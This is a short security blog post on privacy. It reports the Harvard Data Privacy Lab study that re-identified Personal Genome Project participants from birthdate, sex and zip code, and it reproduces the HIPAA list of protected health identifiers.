http://www.theregister.co.uk/2013/04/29/japan_coast_guard_forgets_wipe_data_norks/

There's a reason for process and rules, including that annoying check sheet for hardware disposal.

Ouch!

One of the issues we have to address as security folks is protecting a person's privacy.   If you've ever dealt with Personal Health Information (PHI), you know that there are strict rules about what aspects of a person's identity must be protected when associated with medical data.

In what can only be described as an object lesson of how important this is, the folks at the Data Privacy Lab (at Harvard) conducted an interesting experiment - looking into how many folks in the Personal Genome Project they could identify just by birthdate, sex and zip code.

Amazingly, they identified 200 participants with 84% to 90% accuracy.  Let me repeat that for emphasis ... using just birthdate, zip and sex they were able to link 200 folks to their "anonymous" genome with good accuracy.  They basically matched data from the genome project with public voter registration data and other public data.

Here's a web site where they report their findings: http://dataprivacylab.org/projects/pgp/
The full report is at: http://dataprivacylab.org/projects/pgp/1021-1.pdf

Best of all, they have a web site where you can put in your birthdate, sex and zip, and they'll tell you how many folks match in their public records. (http://aboutmyinfo.org/)

I tried it for my info, and there's only one record which matches my info.  I live in a relatively small town (Boulder, CO) but still I was shocked.  It's a good thing I don't feel a need to hid my identity.

For reference, here's what HIPAA says about data that needs to be protected (thanks Wikipedia, http://en.wikipedia.org/wiki/Protected_health_information):

Under the US Health Insurance Portability and Accountability Act (HIPAA), PHI that is linked based on the following list of identifiers must be treated with special care.

1. Names
2. All geographical identifiers smaller than a state, except for the initial three digits of a zip code if, according to the current publicly available data from the Bureau of the Census: the geographic unit formed by combining all zip codes with the same three initial digits contains more than 20,000 people; and [t]he initial three digits of a zip code for all such geographic units containing 20,000 or fewer people is changed to 000
3. Dates (other than year) directly related to an individual
4. Phone numbers
5. Fax numbers
6. Email addresses
7. Social Security numbers
8. Medical record numbers
9. Health insurance beneficiary numbers
10. Account numbers
11. Certificate/license numbers
12. Vehicle identifiers and serial numbers, including license plate numbers;
13. Device identifiers and serial numbers;
14. Web Uniform Resource Locators (URLs)
15. Internet Protocol (IP) address numbers
16. Biometric identifiers, including finger, retinal and voice prints
17. Full face photographic images and any comparable images
18. Any other unique identifying number, characteristic, or code except the unique code assigned by the investigator to code the data